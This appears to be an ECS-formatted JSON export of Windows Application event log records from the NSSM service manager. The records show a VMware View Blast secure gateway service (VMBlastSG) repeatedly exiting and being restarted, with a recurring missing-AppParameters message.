{"@timestamp":1646641463031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154720}}
{"@timestamp":1646641463031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154721}}
{"@timestamp":1646641463032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154722}}
{"@timestamp":1646641591521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154723}}
{"@timestamp":1646641591522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154724}}
{"@timestamp":1646641591522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152036","0"]}}},"module":"Application","provider":"nssm","sequence":154725}}
{"@timestamp":1646641591523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152036","152036","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154726}}
{"@timestamp":1646641591541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154727}}
{"@timestamp":1646641591542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154728}}
{"@timestamp":1646641591542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154729}}
{"@timestamp":1646641591543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154730}}
{"@timestamp":1646641720058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154731}}
{"@timestamp":1646641720059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154732}}
{"@timestamp":1646641720060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150472","0"]}}},"module":"Application","provider":"nssm","sequence":154733}}
{"@timestamp":1646641720061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150472","150472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154734}}
{"@timestamp":1646641720077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154735}}
{"@timestamp":1646641720078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154736}}
{"@timestamp":1646641720078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154737}}
{"@timestamp":1646641720079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154738}}
{"@timestamp":1646641848617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154739}}
{"@timestamp":1646641848619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154740}}
{"@timestamp":1646641848619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152364","0"]}}},"module":"Application","provider":"nssm","sequence":154741}}
{"@timestamp":1646641848620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152364","152364","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154742}}
{"@timestamp":1646641848635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154743}}
{"@timestamp":1646641848636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154744}}
{"@timestamp":1646641848636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154745}}
{"@timestamp":1646641848637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154746}}
{"@timestamp":1646641977134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154747}}
{"@timestamp":1646641977135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154748}}
{"@timestamp":1646641977136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152332","0"]}}},"module":"Application","provider":"nssm","sequence":154749}}
{"@timestamp":1646641977137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152332","152332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154750}}
{"@timestamp":1646641977153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154751}}
{"@timestamp":1646641977154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154752}}
{"@timestamp":1646641977155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154753}}
{"@timestamp":1646641977156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154754}}
{"@timestamp":1646642105639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154755}}
{"@timestamp":1646642105641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154756}}
{"@timestamp":1646642105642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149860","0"]}}},"module":"Application","provider":"nssm","sequence":154757}}
{"@timestamp":1646642105642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149860","149860","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154758}}
{"@timestamp":1646642105659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154759}}
{"@timestamp":1646642105659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154760}}
{"@timestamp":1646642105660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154761}}
{"@timestamp":1646642105661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154762}}
{"@timestamp":1646642234149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154763}}
{"@timestamp":1646642234151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154764}}
{"@timestamp":1646642234151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147484","0"]}}},"module":"Application","provider":"nssm","sequence":154765}}
{"@timestamp":1646642234152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147484","147484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154766}}
{"@timestamp":1646642234168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154767}}
{"@timestamp":1646642234169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154768}}
{"@timestamp":1646642234169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154769}}
{"@timestamp":1646642234170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154770}}
{"@timestamp":1646642362743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154771}}
{"@timestamp":1646642362744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154772}}
{"@timestamp":1646642362745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151860","0"]}}},"module":"Application","provider":"nssm","sequence":154773}}
{"@timestamp":1646642362746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151860","151860","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154774}}
{"@timestamp":1646642362762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154775}}
{"@timestamp":1646642362762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154776}}
{"@timestamp":1646642362763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154777}}
{"@timestamp":1646642362764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154778}}
{"@timestamp":1646642491275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154779}}
{"@timestamp":1646642491276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154780}}
{"@timestamp":1646642491277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149176","0"]}}},"module":"Application","provider":"nssm","sequence":154781}}
{"@timestamp":1646642491278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149176","149176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154782}}
{"@timestamp":1646642491294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154783}}
{"@timestamp":1646642491295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154784}}
{"@timestamp":1646642491296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154785}}
{"@timestamp":1646642491297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154786}}
{"@timestamp":1646642619803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154787}}
{"@timestamp":1646642619804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154788}}
{"@timestamp":1646642619805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152312","0"]}}},"module":"Application","provider":"nssm","sequence":154789}}
{"@timestamp":1646642619805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152312","152312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154790}}
{"@timestamp":1646642619821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154791}}
{"@timestamp":1646642619821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154792}}
{"@timestamp":1646642619822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154793}}
{"@timestamp":1646642619823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154794}}
{"@timestamp":1646642748355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154795}}
{"@timestamp":1646642748357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154796}}
{"@timestamp":1646642748358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146976","0"]}}},"module":"Application","provider":"nssm","sequence":154797}}
{"@timestamp":1646642748358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146976","146976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154798}}
{"@timestamp":1646642748374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154799}}
{"@timestamp":1646642748375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154800}}
{"@timestamp":1646642748375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154801}}
{"@timestamp":1646642748376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154802}}
{"@timestamp":1646642877026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154803}}
{"@timestamp":1646642877027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154804}}
{"@timestamp":1646642877029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152000","0"]}}},"module":"Application","provider":"nssm","sequence":154805}}
{"@timestamp":1646642877030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152000","152000","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154806}}
{"@timestamp":1646642877049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154807}}
{"@timestamp":1646642877049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154808}}
{"@timestamp":1646642877050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154809}}
{"@timestamp":1646642877050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154810}}
{"@timestamp":1646643005571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154811}}
{"@timestamp":1646643005573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154812}}
{"@timestamp":1646643005574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151172","0"]}}},"module":"Application","provider":"nssm","sequence":154813}}
{"@timestamp":1646643005575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151172","151172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154814}}
{"@timestamp":1646643005590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154815}}
{"@timestamp":1646643005590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154816}}
{"@timestamp":1646643005591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154817}}
{"@timestamp":1646643005592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154818}}
{"@timestamp":1646643134104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154819}}
{"@timestamp":1646643134105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154820}}
{"@timestamp":1646643134105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150088","0"]}}},"module":"Application","provider":"nssm","sequence":154821}}
{"@timestamp":1646643134106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150088","150088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154822}}
{"@timestamp":1646643134121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154823}}
{"@timestamp":1646643134122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154824}}
